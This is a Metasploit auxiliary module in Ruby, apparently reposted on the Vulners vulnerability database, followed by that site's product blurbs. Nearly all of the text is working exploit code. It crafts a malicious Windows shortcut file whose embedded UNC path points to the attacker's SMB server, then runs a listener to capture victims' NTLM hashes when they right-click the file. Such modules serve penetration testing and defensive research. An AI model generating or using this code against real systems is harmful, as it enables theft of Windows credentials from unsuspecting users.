Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'faker'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::SMB::Server::Share
include Msf::Exploit::Remote::Relay::NTLM::HashCapture
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Right-Click Execution - Windows LNK File Special UNC Path NTLM Leak',
'Description' => %q{
This module creates a malicious Windows shortcut (LNK) file that
specifies a special UNC path in EnvironmentVariableDataBlock of Shell Link (.LNK)
that can trigger an authentication attempt to a remote server. This can be used
to harvest NTLM authentication credentials.
When a victim right-click the generated LNK file, it will attempt to connect to the
the specified UNC path, resulting in an SMB connection that can be captured
to harvest credentials.
},
'License' => MSF_LICENSE,
'Author' => [
'Nafiez', # Original POC & Module
],
'References' => [
['URL', 'https://zeifan.my/Right-Click-LNK/']
],
'Platform' => 'win',
'Targets' => [
['Windows', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-05-06',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
'Reliability' => []
}
)
)
register_options([
OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]),
OptString.new('ICON_PATH', [false, 'The icon path to use', nil]),
OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]),
])
end
def run
lnk_data = create_lnk_file
filename = file_create(lnk_data)
print_good("LNK file created: #{filename}")
start_smb_capture_server
print_status("Listening for hashes on #{srvhost}:#{srvport}")
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Rex::ThreadSafe.sleep(1)
end
end
def create_lnk_file
data = ''.b
# LNK header - 76 bytes
header = "\x4C\x00\x00\x00".b
# LinkCLSID (00021401-0000-0000-C000-000000000046)
header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b
# Define LinkFlags
link_flags = 0x00000000
link_flags |= 0x00000004 # HAS_NAME
link_flags |= 0x00000020 # HAS_ARGUMENTS
link_flags |= 0x00000040 # HAS_ICON_LOCATION
link_flags |= 0x00000080 # IS_UNICODE
link_flags |= 0x00000200 # HAS_EXP_STRING
header += [link_flags].pack('V')
# FileAttributes (FILE_ATTRIBUTE_NORMAL)
header += "\x20\x00\x00\x00".b
# CreationTime, AccessTime, WriteTime (zeroed)
header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3
# FileSize
header += "\x00\x00\x00\x00".b
# IconIndex
header += "\x00\x00\x00\x00".b
# ShowCommand (SW_SHOWNORMAL)
header += "\x01\x00\x00\x00".b
# HotKey
header += "\x00\x00".b
# Reserved fields
header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b
# Add the header to our binary data
data += header
# NAME field (description in Unicode)
description = datastore['DESCRIPTION'] || Faker::Lorem.sentence(word_count: 3)
description_utf16 = description.encode('UTF-16LE').b
data += [description_utf16.bytesize / 2].pack('v')
data += description_utf16
# ARGUMENTS field (command line arguments in Unicode)
padding_size = datastore['PADDING_SIZE']
cmd_args = ' ' * padding_size
cmd_args_utf16 = cmd_args.encode('UTF-16LE').b
data += [cmd_args_utf16.bytesize / 2].pack('v')
data += cmd_args_utf16
# ICON LOCATION field (icon path in Unicode)
icon_path = datastore['ICON_PATH'] || 'e.g. abc.ico'
icon_path_utf16 = icon_path.encode('UTF-16LE').b
data += [icon_path_utf16.bytesize / 2].pack('v')
data += icon_path_utf16
# ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE
env_block_size = 0x00000314 # Total size of this block
env_block_sig = 0xA0000001 # Environmental Variables block signature
data += [env_block_size].pack('V')
data += [env_block_sig].pack('V')
# Target field in ANSI (260 bytes)
unc_share = datastore['SHARE']
unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?
unc_path = "\\\\#{srvhost}\\#{unc_share}"
# Create fixed-size ANSI buffer with nulls
ansi_buffer = "\x00".b * 260
# Copy the UNC path bytes into the buffer
unc_path.bytes.each_with_index do |byte, i|
ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize
end
data += ansi_buffer
# Target field in Unicode (520 bytes)
unc_path_utf16 = unc_path.encode('UTF-16LE').b
# Create fixed-size Unicode buffer with nulls
unicode_buffer = "\x00".b * 520
# Copy the UTF-16LE encoded UNC path bytes into the buffer
unc_path_utf16.bytes.each_with_index do |byte, i|
unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize
end
data += unicode_buffer
data += "\x00\x00\x00\x00".b
data
end
def get_unc_path
"\\\\#{srvhost}\\#{Rex::Text.rand_text_alphanumeric(6)}"
end
def start_smb_capture_server
start_service
print_status('The SMB service has been started.')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 May 2025 00:00Current
5.5Medium risk
Vulners AI Score5.5